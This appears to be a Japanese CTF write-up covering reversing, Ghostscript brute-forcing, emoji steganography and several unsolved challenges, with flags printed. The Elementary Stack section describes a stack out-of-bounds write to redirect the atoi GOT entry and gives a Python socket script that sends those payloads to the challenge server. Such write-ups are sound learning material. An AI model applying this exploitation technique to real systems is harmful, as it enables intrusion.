89a: 75 3c jne 8d8 <__cxa_finalize@plt+0x268>
89c: 0f b6 57 02 movzbl 0x2(%rdi),%edx
条件分岐が多くて一見わかりにくいが、結局次のブロックに行く直前の分岐で比較している文字が正解の文字である。
「次のブロックに行く直前の分岐」には、「一致したら次のブロックに行く」パターン
823: 80 fa 63 cmp $0x63,%dl
826: 74 50 je 878 <__cxa_finalize@plt+0x208>
および、「一致しなかったら次のブロックに行かない」パターン
897: 80 fa 74 cmp $0x74,%dl
89a: 75 3c jne 8d8 <__cxa_finalize@plt+0x268>
89c: 0f b6 57 02 movzbl 0x2(%rdi),%edx
が存在する。
逆アセンブル結果からmovzbl
をgrepしておくと、ブロックの境界がわかりやすく、解析しやすくなる。
最後のブロックの最後は比較命令が違うが、
「一致したら次のブロック(return)に行く」パターンであり、正しい文字は'\0'
である。
853: f3 c3 repz retq
...
103e: 31 c0 xor %eax,%eax
1040: 84 d2 test %dl,%dl
1042: 0f 84 0b f8 ff ff je 853 <__cxa_finalize@plt+0x1e3>
なお、"Hint: You'd better automate your analysis"とあったが、
この程度の文字数であればプログラムを組むより手動で見たほうが低コストだと判断した。
ctf4b{sp4gh3tt1_r1pp3r1n0}
ghost
Ghostscriptのソースコードと思われるデータと、その目標の出力と思われるデータが与えられた。
前者のデータの中身を見てみたが、挙動はよくわからなかった。
そこで、Ghostscriptのソースコードとして実行してみると、出力は入力の文字列に依存し、
特に前の文字には依存するが後の文字には依存しなそうであることがわかった。
これに基づき、複雑なことを考えたくなかったので前の文字から順に全探索を行った。
その結果、5分程度で答えが得られた。
(注:これはWindows環境で動作させたプログラムであり、他の環境ではシェルに有害な文字が他にもある可能性があります)
#!/usr/bin/perl
use strict;
use warnings;
my $gs = "C:\\MyInstalledApps\\gs\\gs9.52\\bin\\gswin64c.exe";
my $program = "ghost/chall.gs";
my $output_file = "ghost/output.txt";
open(OF, "< $output_file") or die;
my $target = <OF>;
chomp($target);
my @targets = split(/\s+/, $target);
my $searching = "";
my $start = time();
for (my $i = 0; $i < @targets; $i++) {
for (my $c = 126; $c > 32; $c--) {
if ($c == 0x22 || $c == 0x26 || $c == 0x27 || $c == 0x3c || $c == 0x3e || $c == 0x5e || $c == 0x7c) { next; }
my $candidate = sprintf("%s%c", $searching, $c);
open(TEST, "echo $candidate| \"$gs\" \"$program\" |") or die;
my $res = "";
while (<TEST>) { $res = $_; }
my @got = split(/\s+/, $res);
if ($got[$i] == $targets[$i]) {
$searching = $candidate;
last;
}
}
printf("%d / %d at %ds\n", $i + 1, @targets + 0, time() - $start);
}
print "\n$searching\n";
ctf4b{st4ck_m4ch1n3_1s_4_l0t_0f_fun!}
Misc
Welcome
深夜のぼく
「そろそろこれやっとくか…?」
「Discordかあ…この機会に登録しとく…?」
「んー…規約読むのめんどい…50点だしな…パスでいっか…」
昼のぼく
「上のチームとの得点差が50点未満の状況が観測されたからやっとこ。」
「なんだ、ニックネーム入れるだけで垢作んなくても入れるやんけ。」
フラグは#announcementチャンネルにあった。
ctf4b{sorry, we lost the ownership of our irc channel so we decided to use discord}
emoemoencode
テキストファイルが与えられた。
中身は絵文字が並んでいた。
"Do you know emo-emo-encode?"とのことなので、
まずはemo-emo-encodeでググってみたが、有力な情報は得られなかった。
flagはctf4b{
で始まるはずであることをもとに絵文字群を観察していると、
最初の絵文字の文字コードの下位8ビットがctf4b{
の文字コードになっていることに気がついた。
(サクラエディタの、カーソル位置の文字の文字コードを表示する機能を使った)
残りの絵文字の文字コードの下位8ビットも抽出することで、flagが得られた。
ctf4b{stegan0graphy_by_em000000ji}
解けなかった問題
Pwn
Elementary Stack
ELFファイル、そのソースコードと考えられるC言語のプログラム、libcのファイルが与えられ、サーバーが用意された。
ELFファイルは、tdm-gccのobjdump
を用いることで、
普通に-d
オプションを用いるだけで逆アセンブルを行えた。
どうやらbuffer
が指す場所に入力を読み込んだ後、それに基づき配列number
に値を格納するようである。
main
関数内、および入力を読み込むreadlong
関数内でのスタックの様子をまとめると、以下のようになっていそうである。
readlong を呼ぶ前の状態
rbp - 0x68
rbp - 0x60 rsp
rbp - 0x58 i
rbp - 0x50 buffer
rbp - 0x48 v
rbp - 0x40 number
rbp - 0x38
rbp - 0x30
rbp - 0x28
rbp - 0x20
rbp - 0x18
rbp - 0x10
rbp - 0x08
rbp - 0x00
readlong で read する時の状態
rbp - 0x20 rsp
rbp - 0x18 size
rbp - 0x10 buf
rbp - 0x08 msg
rbp - 0x00
rbp + 0x08 [saved rbp]
rbp + 0x10 [return address to main()]
rbp + 0x18 i
rbp + 0x20 buffer
rbp + 0x28 v
rbp + 0x30 number
rbp + 0x38
rbp + 0x40
rbp + 0x48
rbp + 0x50
rbp + 0x58
rbp + 0x60
rbp + 0x68
rbp + 0x70
これに基づき、書き込む位置に-2
を指定することで、buffer
の値を書き換えることが可能である。
ここを6295608
(0x601038)にすることで、
buffer
が指す場所への書き込みを用いてatoi
として呼び出す位置を変えることができる。
(atoi
に対応する位置は 6295616
(0x601040) だが、これを直接指定すると
*** stack smashing detected ***: <unknown> terminated
が出てしまった)
例えばatoi
の代わりにprintf
を呼び出すことができたが、flagの取得にはつなげることができなかった。
import sys
import struct
import socket
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect(("bs.quals.beginners.seccon.jp", 9003))
sock_buffer = b""
def sock_readline():
global sock_buffer
while b"\n" not in sock_buffer:
data = sock.recv(4096)
if data == b"":
if sock_buffer != b"":
print(sock_buffer)
sys.exit(0)
sock_buffer += data
try:
splitted = sock_buffer.decode().split("\n", 2)
sock_buffer = (splitted[1] if len(splitted) > 1 else "").encode()
return splitted[0]
except UnicodeDecodeError:
buf = sock_buffer
sock_buffer = b""
return buf
sock.sendall(b"-2")
sock.sendall(str(0x601038).encode())
print(sock_readline())
sock.sendall(b"\x00")
sock.sendall(b"12345678" + struct.pack("<Q", 0x400590))
print(sock_readline())
sock.sendall(b"hello\x00")
sock.sendall(b"hello\x00")
print(sock_readline())
sock.close()
ChildHeap
ELFファイルとlibcのファイルが与えられ、サーバーが用意された。
サーバーに接続するとAlloc / Delete / Wipe / Exit のメニューがあった。
Allocを選択すると、sizeとcontentを聞かれた。
その後Deleteを選択すると、入力したcontentが表示され、"remove?[y/n]"と聞かれたので、yにした。
再びAllocを選択すると、"No Space!!"と表示された。
再びDeleteを選択し、yを選ぶと、接続が切れた。
Deleteを選択せずにAllocを選んでも、2回目以降は"No Space!!"と出るようである。
また、これは終了後わかったことだが、Allocを選択せずにDeleteを選択した場合は、
複数回Delete→yを選択しても接続が切れないようである。
flip
ELFファイルとlibcのファイルが与えられ、サーバーが用意された。
サーバーに接続すると、Input address >>
と出力された。
適当に入力すると、次は
You can flip two times!
Which bit (0 ~ 7) >>
と出力された。
また適当に入力すると、接続が切れた。
わからんと思って諦めてしまったが、逆アセンブルくらいしてみればよかったかな。
Crypto
C4B
WebページのURLが与えられた。
ページにアクセスしても、「Install Web3 Provider (MetaMask) 」と出るだけで何もわからず。
「Web3 Provider」で検索しても、なんかいっぱいあってわからん。
…ん?
[MetaMask]【検索】
もしかしてこれか!? (終了1分前) (ておくれ)
Web
profiler
WebページのURLが与えられる。
アカウント登録すると、tokenが出てくる。
このtokenをtoken欄に入れるとprofileをupdateでき、入れないとできないようである。
また、Get FLAGボタンがあり、押すと
Sorry, your token is not administrator's one. This page is only for administrator(uid: admin).
と出てくる。
…何もわからず。
Somen
WebページのURL、そのソースコードと考えられるファイル、そしてworker.js
が与えられた。
workerがあるということは、XSS系と推測できる。
パラメータとして英数字以外を入れると、JavaScriptで別のページに移動させて弾くようである。
…ということしかわからず。
Reversing
siblangs
apkファイルが与えられた。
を利用したが、flagの特定には至らなかった。
es.o0i.challengeapp.nativemodule
内のクラスValidateFlagModule
に関数validate
があり、
暗号の処理と比較処理をしているようだったので、比較しているデータを抽出してみた。
その結果は1pt_3verywhere}
であり、flagの末尾のようであった。
また、比較は入力データの22要素目(0-origin)からであったので、flagは
ctf4b{
1pt_3verywhere}
01234567890123456789012
のような形になると推測できた。
sneaky
ELFファイルが与えられた。
tdm-gccのobjdump
を用いることで、
普通に-d
オプションを用いるだけで逆アセンブルを行えた。
…が、ばかでかかった(20万行超え!)のでパス。
Misc
readme
Pythonのソースコードが与えられ、それが動いていると考えられるサーバーが用意された。
assert os.path.isfile('/home/ctf/flag') # readme
という記述から、/home/ctf/flag
を読めばよさそうであるが、
入力にctf
が入っている文字列を指定すると弾かれるようになっている。
…ん…待てよ…Misc…?ということはとんちか…? (終了15分前)
…しかし、わからず。